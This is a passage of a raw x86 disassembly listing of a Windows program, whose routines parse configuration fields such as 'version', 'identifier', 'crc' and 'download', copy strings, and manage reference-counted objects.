		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-70h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-78h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423E73
		cmp	byte ptr [ebp-2140h], 30h
		jnz	short loc_423E6C
		and	byte ptr [edi+0A000h], 0
		jmp	short loc_423E73
; ---------------------------------------------------------------------------


loc_423E6C:				; CODE XREF: sub_42342D+A34j
		mov	byte ptr [edi+0A000h], 1


loc_423E73:				; CODE XREF: sub_42342D+A2Bj
					; sub_42342D+A3Dj
		push	offset aVersion_0 ; "version"
		lea	ecx, [ebp-88h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Dh
		jnz	short loc_423E99
		push	80004003h
		call	sub_431952


loc_423E99:				; CODE XREF: sub_42342D+A60j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-80h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-80h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-88h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423EE4
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+6000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423EE4:				; CODE XREF: sub_42342D+AA1j
		push	offset aIdentifier ; "identifier"
		lea	ecx, [ebp-98h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Eh
		jnz	short loc_423F0A
		push	80004003h
		call	sub_431952


loc_423F0A:				; CODE XREF: sub_42342D+AD1j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-90h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-90h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-98h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423F5B
		lea	eax, [ebp-2140h]
		push	eax
		lea	eax, [edi+8000h]
		push	eax
		call	dword_4330CC	; lstrcpyA


loc_423F5B:				; CODE XREF: sub_42342D+B18j
		push	offset aCrc	; "crc"
		lea	ecx, [ebp-0A8h]
		call	sub_4240F6
		mov	esi, eax
		cmp	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1Fh
		jnz	short loc_423F81
		push	80004003h
		call	sub_431952


loc_423F81:				; CODE XREF: sub_42342D+B48j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-0A0h]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-0A8h]
		mov	byte ptr [ebp-4], 0Fh
		call	sub_42414A
		test	bl, bl
		jz	short loc_423FD2
		lea	eax, [ebp-2140h]
		push	eax
		call	dword_4331A8	; atoi
		pop	ecx
		mov	[edi+0A008h], eax


loc_423FD2:				; CODE XREF: sub_42342D+B8Fj
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_423FE2
		push	80004003h
		call	sub_431952


loc_423FE2:				; CODE XREF: sub_42342D+BA9j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4243BD
		push	dword ptr [eax]
		lea	ecx, [ebp-10h]
		call	sub_4264AF
		lea	ecx, [ebp-0B0h]
		call	sub_4264A2
		mov	ebx, 80004003h
		jmp	loc_4238D0
; ---------------------------------------------------------------------------


loc_424010:				; CODE XREF: sub_42342D+4AFj
		lea	esi, [edi-4000h]
		push	0Ah
		push	offset aWindows	; "windows"
		push	esi
		call	dword_4331AC	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_424045
		mov	eax, [ebp-28h]
		push	dword ptr [eax+1Ch]
		push	esi
		call	sub_431758	; strcpy
		push	offset dword_43710C
		push	esi
		call	sub_431770	; strcat
		add	esp, 10h


loc_424045:				; CODE XREF: sub_42342D+BFCj
		inc	dword ptr [ebp-24h]
		lea	ecx, [ebp-10h]
		add	edi, 1400Ch
		mov	byte ptr [ebp-4], 0Eh
		call	sub_4264A2
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_424066
		push	ebx
		call	sub_431952


loc_424066:				; CODE XREF: sub_42342D+C31j
		mov	ecx, [ebp-18h]
		lea	eax, [ebp-0B8h]
		push	eax
		call	sub_4243BD
		push	dword ptr [eax]
		lea	ecx, [ebp-18h]
		call	sub_4264AF
		lea	ecx, [ebp-0B8h]
		call	sub_4264A2
		jmp	loc_4238A2
; ---------------------------------------------------------------------------


loc_42408F:				; CODE XREF: sub_42342D+481j
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 1
		call	sub_4264A2
		mov	edi, offset aS	; "%s"


loc_4240A0:				; CODE XREF: sub_42342D+437j
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_4240B0
		push	80004003h
		call	sub_431952


loc_4240B0:				; CODE XREF: sub_42342D+C77j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4243BD
		push	dword ptr [eax]
		lea	ecx, [ebp-14h]
		call	sub_4264AF
		lea	ecx, [ebp-2Ch]
		call	sub_4264A2
		xor	ebx, ebx
		jmp	loc_4234A0
; ---------------------------------------------------------------------------


loc_4240D5:				; CODE XREF: sub_42342D+7Ej
		lea	ecx, [ebp-14h]
		call	sub_4264A2
		lea	ecx, [ebp+8]
		call	sub_4264A2
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_42342D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240F6	proc near		; CODE XREF: sub_42342D+8Fp
					; sub_42342D+1B2p ...
		mov	eax, offset loc_431F52
		call	sub_43176A	; _EH_prolog
		push	ecx
		push	esi
		mov	esi, ecx
		push	0Ch
		call	sub_431624
		pop	ecx
		mov	ecx, eax
		mov	[ebp-10h], ecx
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_424123
		push	dword ptr [ebp+8]
		call	sub_424188
		jmp	short loc_424125
; ---------------------------------------------------------------------------


loc_424123:				; CODE XREF: sub_4240F6+21j
		xor	eax, eax


loc_424125:				; CODE XREF: sub_4240F6+2Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_424139
		push	8007000Eh
		call	sub_431952


loc_424139:				; CODE XREF: sub_4240F6+37j
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4240F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42414A	proc near		; CODE XREF: sub_42342D+CEp
					; sub_42342D+DDp ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_42415B
		call	sub_4241BB
		and	dword ptr [esi], 0


loc_42415B:				; CODE XREF: sub_42414A+7j
		pop	esi
		retn
sub_42414A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42415D	proc near		; CODE XREF: sub_42342D+BBp
					; sub_42342D+1DFp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [ecx]
		mov	eax, [eax]
		cmp	ecx, eax
		jnz	short loc_42416D
		xor	eax, eax
		jmp	short locret_424185
; ---------------------------------------------------------------------------


loc_42416D:				; CODE XREF: sub_42415D+Aj
		test	ecx, ecx
		jnz	short loc_424176
		or	eax, 0FFFFFFFFh
		jmp	short locret_424185
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_42415D+12j
		test	eax, eax
		jnz	short loc_42417F
		push	1
		pop	eax
		jmp	short locret_424185
; ---------------------------------------------------------------------------


loc_42417F:				; CODE XREF: sub_42415D+1Bj
		push	eax
		call	sub_424212

locret_424185:				; CODE XREF: sub_42415D+Ej
					; sub_42415D+17j ...
		retn	4
sub_42415D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424188	proc near		; CODE XREF: sub_4240F6+26p
					; sub_429980+47p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		and	dword ptr [esi+4], 0
		mov	dword ptr [esi+8], 1
		call	sub_4319FF
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_4241B5
		cmp	[esp+4+arg_0], eax
		jz	short loc_4241B5
		push	8007000Eh
		call	sub_431952


loc_4241B5:				; CODE XREF: sub_424188+1Bj
					; sub_424188+21j
		mov	eax, esi
		pop	esi
		retn	4
sub_424188	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241BB	proc near		; CODE XREF: sub_42414A+9p
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+8]
		push	edi
		call	dword_4330C4	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_4241E3
		test	esi, esi
		jz	short loc_4241DF
		mov	ecx, esi
		call	sub_424292
		push	esi
		call	sub_43161E
		pop	ecx


loc_4241DF:				; CODE XREF: sub_4241BB+14j
		xor	eax, eax
		jmp	short loc_4241E5
; ---------------------------------------------------------------------------


loc_4241E3:				; CODE XREF: sub_4241BB+10j
		mov	eax, [edi]


loc_4241E5:				; CODE XREF: sub_4241BB+26j
		pop	edi
		pop	esi
		retn
sub_4241BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E8	proc near		; CODE XREF: sub_42342D+113p
					; sub_42342D+234p ...
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42420D
		push	dword ptr [esi]
		call	sub_431A74
		test	eax, eax
		mov	[esi+4], eax
		jnz	short loc_42420D
		cmp	[esi], eax
		jz	short loc_42420D
		push	8007000Eh
		call	sub_431952


loc_42420D:				; CODE XREF: sub_4241E8+7j
					; sub_4241E8+15j ...
		mov	eax, [esi+4]
		pop	esi
		retn
sub_4241E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424212	proc near		; CODE XREF: sub_42415D+23p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		push	esi
		push	edi
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_42422B
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		neg	eax
		sbb	eax, eax
		jmp	short loc_42428B
; ---------------------------------------------------------------------------


loc_42422B:				; CODE XREF: sub_424212+Cj
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi], 0
		jnz	short loc_424238
		push	1
		pop	eax
		jmp	short loc_42428B
; ---------------------------------------------------------------------------


loc_424238:				; CODE XREF: sub_424212+1Fj
		mov	esi, dword_433278
		push	eax
		call	esi
		push	dword ptr [edi]
		mov	[ebp+arg_0], eax
		call	esi
		mov	edx, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_424251
		mov	edx, eax


loc_424251:				; CODE XREF: sub_424212+3Bj
		mov	ecx, [ebx]
		mov	edi, [edi]


loc_424255:				; CODE XREF: sub_424212+57j
		mov	esi, edx
		dec	edx
		test	esi, esi
		jbe	short loc_424277
		mov	bx, [edi]
		mov	si, [ecx]
		inc	edi
		inc	edi
		inc	ecx
		inc	ecx
		cmp	si, bx
		jz	short loc_424255
		movzx	edx, word ptr [edi-2]
		movzx	eax, word ptr [ecx-2]
		sub	eax, edx
		jmp	short loc_42428B
; ---------------------------------------------------------------------------


loc_424277:				; CODE XREF: sub_424212+48j
		cmp	[ebp+arg_0], eax
		jnb	short loc_424281
		or	eax, 0FFFFFFFFh
		jmp	short loc_42428B
; ---------------------------------------------------------------------------


loc_424281:				; CODE XREF: sub_424212+68j
		xor	ecx, ecx
		cmp	[ebp+arg_0], eax
		setnz	cl
		mov	eax, ecx


loc_42428B:				; CODE XREF: sub_424212+17j
					; sub_424212+24j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_424212	endp


; =============== S U B	R O U T	I N E =======================================



sub_424292	proc near		; CODE XREF: sub_4241BB+18p
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4242A2
		push	eax
		call	dword_433274


loc_4242A2:				; CODE XREF: sub_424292+7j
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_4242B0
		push	esi
		call	sub_43161E
		pop	ecx


loc_4242B0:				; CODE XREF: sub_424292+15j
		pop	esi
		retn
sub_424292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242B2	proc near		; CODE XREF: sub_42342D+B3p
					; sub_42342D+1D7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+1Ch]
		test	eax, eax
		jge	short loc_4242D7
		push	offset dword_437218
		push	esi
		push	eax
		call	sub_431960


loc_4242D7:				; CODE XREF: sub_4242B2+17j
		mov	ecx, [ebp+arg_0]
		push	0
		push	[ebp+var_4]
		call	sub_4242EC
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn	4
sub_4242B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242EC	proc near		; CODE XREF: sub_4242B2+2Dp
					; sub_4243EF+2Dp
		mov	eax, offset loc_431F66
		call	sub_43176A	; _EH_prolog
		push	ecx
		push	esi
		mov	esi, ecx
		push	0Ch
		call	sub_431624
		pop	ecx
		mov	ecx, eax
		mov	[ebp-10h], ecx
		and	dword ptr [ebp-4], 0
		test	ecx, ecx
		jz	short loc_42431C
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_424343
		jmp	short loc_42431E
; ---------------------------------------------------------------------------


loc_42431C:				; CODE XREF: sub_4242EC+21j
		xor	eax, eax


loc_42431E:				; CODE XREF: sub_4242EC+2Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_424332
		push	8007000Eh
		call	sub_431952


loc_424332:				; CODE XREF: sub_4242EC+3Aj
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	8
sub_4242EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424343	proc near		; CODE XREF: sub_4242EC+29p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		and	dword ptr [esi+4], 0
		cmp	[esp+8+arg_4], 0
		mov	dword ptr [esi+8], 1
		jz	short loc_424382
		test	edi, edi
		jz	short loc_424382
		push	edi
		call	dword_43326C
		push	eax
		push	edi
		call	dword_433270
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_424384
		push	8007000Eh
		call	sub_431952
		jmp	short loc_424384
; ---------------------------------------------------------------------------


loc_424382:				; CODE XREF: sub_424343+18j
					; sub_424343+1Cj
		mov	[esi], edi


loc_424384:				; CODE XREF: sub_424343+31j
					; sub_424343+3Dj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_424343	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42438B	proc near		; CODE XREF: sub_42342D+57p
					; sub_42342D+454p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+34h]
		test	eax, eax
		jge	short loc_4243B0
		push	offset dword_437218
		push	esi
		push	eax
		call	sub_431960


loc_4243B0:				; CODE XREF: sub_42438B+17j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		pop	esi
		mov	[eax], ecx
		leave
		retn	4
sub_42438B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243BD	proc near		; CODE XREF: sub_42342D+BBFp
					; sub_42342D+C43p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+40h]
		test	eax, eax
		jge	short loc_4243E2
		push	offset dword_437218
		push	esi
		push	eax
		call	sub_431960


loc_4243E2:				; CODE XREF: sub_4243BD+17j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		pop	esi
		mov	[eax], ecx
		leave
		retn	4
sub_4243BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243EF	proc near		; CODE XREF: sub_42342D+104p
					; sub_42342D+225p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		mov	eax, [esi]
		push	ecx
		push	esi
		call	dword ptr [eax+68h]
		test	eax, eax
		jge	short loc_424414
		push	offset dword_437218
		push	esi
		push	eax
		call	sub_431960


loc_424414:				; CODE XREF: sub_4243EF+17j
		mov	ecx, [ebp+arg_0]
		push	0
		push	[ebp+var_4]
		call	sub_4242EC
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn	4
sub_4243EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_424429	proc near		; CODE XREF: sub_42852F+947p
		mov	eax, offset loc_431F90
		call	sub_43176A	; _EH_prolog
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	[ebp-18h], ebx
		mov	[ebp-10h], ebx
		mov	esi, [ebp+8]
		mov	byte ptr [ebp-4], 1
		cmp	esi, ebx
		mov	edi, 80004003h
		jnz	short loc_42445A
		push	edi
		call	sub_431952


loc_42445A:				; CODE XREF: sub_424429+29j
		lea	eax, [ebp-14h]
		mov	ecx, esi
		push	eax
		call	sub_42438B
		push	dword ptr [eax]
		lea	ecx, [ebp-10h]
		call	sub_4264AF
		lea	ecx, [ebp-14h]
		call	sub_4264A2


loc_424477:				; CODE XREF: sub_424429+149j
		push	ebx
		lea	ecx, [ebp-10h]
		call	sub_4264DA
		test	al, al
		jnz	loc_424577
		push	offset aDownload ; "download"
		lea	ecx, [ebp-20h]
		call	sub_4240F6
		mov	esi, eax
		cmp	[ebp-10h], ebx
		mov	byte ptr [ebp-4], 2
		jnz	short loc_4244A6
		push	edi
		call	sub_431952


loc_4244A6:				; CODE XREF: sub_424429+75j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_4242B2
		push	esi
		mov	ecx, eax
		call	sub_42415D
		mov	ebx, eax
		lea	ecx, [ebp-1Ch]
		neg	ebx
		sbb	bl, bl
		inc	bl
		call	sub_42414A
		lea	ecx, [ebp-20h]
		mov	byte ptr [ebp-4], 1
		call	sub_42414A
		test	bl, bl
		jz	short loc_424543
		xor	esi, esi
		cmp	[ebp-10h], esi
		jnz	short loc_4244E7
		push	edi
		call	sub_431952


loc_4244E7:				; CODE XREF: sub_424429+B6j
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_42438B
		mov	byte ptr [ebp-4], 3


loc_4244F7:				; CODE XREF: sub_424429+107j
		push	esi
		lea	ecx, [ebp-14h]
		call	sub_4264DA
		test	al, al
		jnz	short loc_424532
		inc	dword ptr [ebp-18h]
		cmp	[ebp-14h], esi
		jnz	short loc_424512
		push	edi
		call	sub_431952


loc_424512:				; CODE XREF: sub_424429+E1j
		mov	ecx, [ebp-14h]
		lea	eax, [ebp-24h]
		push	eax
		call	sub_4243BD
		push	dword ptr [eax]
		lea	ecx, [ebp-14h]
		call	sub_4264AF
		lea	ecx, [ebp-24h]
		call	sub_4264A2
		jmp	short loc_4244F7
; ---------------------------------------------------------------------------


loc_424532:				; CODE XREF: sub_424429+D9j
		mov	eax, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		cmp	eax, esi
		jz	short loc_424543
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_424543:				; CODE XREF: sub_424429+AFj
					; sub_424429+112j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_42454F
		push	edi
		call	sub_431952


loc_42454F:				; CODE XREF: sub_424429+11Ej
		mov	ecx, [ebp-10h]
		lea	eax, [ebp-28h]
		push	eax
		call	sub_4243BD
		push	dword ptr [eax]
		lea	ecx, [ebp-10h]
		call	sub_4264AF
		lea	ecx, [ebp-28h]
		call	sub_4264A2
		mov	esi, [ebp+8]
		xor	ebx, ebx
		jmp	loc_424477
; ---------------------------------------------------------------------------


loc_424577:				; CODE XREF: sub_424429+59j
		mov	eax, [ebp-10h]
		and	byte ptr [ebp-4], 0
		cmp	eax, ebx
		jz	short loc_424588
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_424588:				; CODE XREF: sub_424429+157j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424596
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_424596:				; CODE XREF: sub_424429+165j
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp-18h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_424429	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245AA	proc near		; CODE XREF: sub_42852F+A47p
		mov	eax, offset loc_43200F
		call	sub_43176A	; _EH_prolog
		mov	eax, 208Ch
		call	sub_431700
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+0Ch]
		push	esi
		test	ecx, ecx
		push	edi
		jle	loc_4249BF
		mov	eax, [ebp+8]
		mov	dword ptr [ebp-1Ch], 0FFFFE000h
		sub	[ebp-1Ch], eax
		mov	[ebp-28h], ecx
		lea	esi, [eax+2000h]


loc_4245E4:				; CODE XREF: sub_4245AA+40Fj
		cmp	byte ptr [esi+12000h], 0
		jz	loc_4246D8
		push	esi
		call	sub_43175E	; strlen
		test	eax, eax
		pop	ecx
		jbe	loc_4246D8
		cmp	byte ptr [esi],	23h
		jnz	loc_4246D8
		lea	eax, [ebp-2098h]
		push	esi
		push	eax
		call	sub_431758	; strcpy
		mov	edi, offset dword_437240
		lea	eax, [ebp-2098h]
		push	edi
		push	eax
		call	dword_4331CC	; strstr
		add	esp, 10h
		test	eax, eax
		jz	short loc_424666
		lea	ecx, [ebp-2098h]
		sub	eax, ecx
		inc	eax
		cmp	eax, 1
		mov	[ebp+0Ch], eax
		jle	short loc_424666
		push	eax
		lea	eax, [ebp-2098h]
		push	eax
		push	esi
		call	dword_43319C	; strncpy
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp+8]
		add	eax, esi
		add	esp, 0Ch
		add	eax, [ebp+0Ch]
		and	byte ptr [eax+ecx+2000h], 0


loc_424666:				; CODE XREF: sub_4245AA+84j
					; sub_4245AA+95j
		push	edi
		push	esi
		call	sub_431770	; strcat
		push	dword ptr [ebx+20h]
		push	esi
		call	sub_431770	; strcat
		add	esp, 10h
		lea	ecx, [ebp-14h]
		call	sub_43164E
		and	dword ptr [ebp-4], 0
		push	esi
		lea	ecx, [ebp-14h]
		call	sub_43163C
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	eax
		call	sub_431636
		lea	eax, [ebp-38h]
		mov	ecx, ebx
		push	eax
		call	sub_422F54
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		call	sub_431648
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-38h]
		call	sub_431642
		push	dword ptr [ebp-14h]
		push	esi
		call	sub_431758	; strcpy
		or	dword ptr [ebp-4], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		lea	ecx, [ebp-14h]
		call	sub_431642


loc_4246D8:				; CODE XREF: sub_4245AA+41j
					; sub_4245AA+50j ...
		lea	ecx, [ebp-10h]
		call	sub_43164E
		lea	ecx, [ebp-24h]
		mov	dword ptr [ebp-4], 2
		call	sub_43164E
		cmp	byte ptr [esi+12000h], 0
		mov	byte ptr [ebp-4], 3
		jz	loc_4247CA
		lea	edi, [ebx+20h]
		lea	ecx, [ebp-24h]
		push	edi
		call	sub_431648
		push	offset dword_437238
		lea	eax, [ebp-2Ch]
		push	edi
		push	eax
		call	sub_43165A
		push	eax
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 4
		call	sub_431648
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		push	dword ptr [ebp-10h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_42474D
		push	1
		push	dword ptr [ebp-10h]
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_42474D:				; CODE XREF: sub_4245AA+195j
		push	dword ptr [edi]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_424769
		mov	edi, [edi]
		push	1
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_421D8A
		add	esp, 0Ch


loc_424769:				; CODE XREF: sub_4245AA+1ADj
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		mov	byte ptr [ebp-4], 5
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset dword_43722C
		call	sub_43162A
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 3
		call	sub_42692B
		push	ecx
		lea	eax, [esi+0E000h]
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 6
		call	sub_43162A
		lea	ecx, [ebp-58h]
		call	sub_426DB8
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 3
		call	sub_426ABF


loc_4247CA:				; CODE XREF: sub_4245AA+150j
		push	2Eh
		call	dword_4330E0	; Sleep
		mov	al, [esi+12000h]
		mov	ecx, ebx
		push	eax
		mov	al, [esi+12004h]
		push	dword ptr [esi+12008h]
		push	eax
		mov	al, [esi+12001h]
		push	eax
		mov	al, [esi+12002h]
		push	eax
		lea	eax, [esi+2000h]
		push	eax
		lea	eax, [esi+4000h]
		push	eax
		lea	eax, [esi-2000h]
		push	esi
		push	eax
		call	sub_422E6E
		lea	ecx, [ebp-18h]
		mov	[ebp+0Fh], al
		call	sub_43164E
		lea	eax, [esi+10000h]
		lea	ecx, [ebp-18h]
		push	eax
		mov	byte ptr [ebp-4], 7
		call	sub_43163C
		lea	eax, [ebp-18h]
		push	offset dword_437228
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		call	sub_43165A
		lea	edi, [esi+0E000h]
		mov	byte ptr [ebp-4], 8
		push	edi
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		call	sub_43165A
		push	eax
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 9
		call	sub_431648
		lea	ecx, [ebp-34h]
		mov	byte ptr [ebp-4], 8
		call	sub_431642
		lea	ecx, [ebp-30h]
		mov	byte ptr [ebp-4], 7
		call	sub_431642
		push	ecx
		lea	eax, [ebp-18h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		call	sub_431636
		mov	ecx, ebx
		call	sub_425952
		mov	al, [esi+12000h]
		test	al, al
		jz	loc_42498C
		cmp	byte ptr [ebp+0Fh], 0
		jz	short loc_42490A
		push	80000000h
		push	1
		push	ecx
		mov	byte ptr [ebx+18h], 1
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		mov	byte ptr [ebp-4], 0Ah
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset dword_43722C
		call	sub_43162A
		lea	ecx, [ebp-98h]
		mov	byte ptr [ebp-4], 7
		call	sub_42692B
		push	ecx
		mov	byte ptr [ebp-4], 0Bh
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	edi
		call	sub_43162A
		lea	ecx, [ebp-98h]
		call	sub_426DB8
		mov	byte ptr [ebp-4], 7
		lea	ecx, [ebp-98h]
		jmp	short loc_424987
; ---------------------------------------------------------------------------


loc_42490A:				; CODE XREF: sub_4245AA+2F9j
		test	al, al
		jz	short loc_42498C
		cmp	byte ptr [ebp+0Fh], 0
		jnz	short loc_42498C
		push	dword ptr [ebp-10h]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_424931
		push	1
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp-10h]
		call	sub_421D8A
		add	esp, 0Ch


loc_424931:				; CODE XREF: sub_4245AA+375j
		push	80000000h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		mov	byte ptr [ebp-4], 0Ch
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset dword_43722C
		call	sub_43162A
		lea	ecx, [ebp-78h]
		mov	byte ptr [ebp-4], 7
		call	sub_42692B
		push	ecx
		mov	byte ptr [ebp-4], 0Dh
		mov	ecx, esp
		mov	[ebp+0Ch], esp
		push	ebx
		call	sub_431636
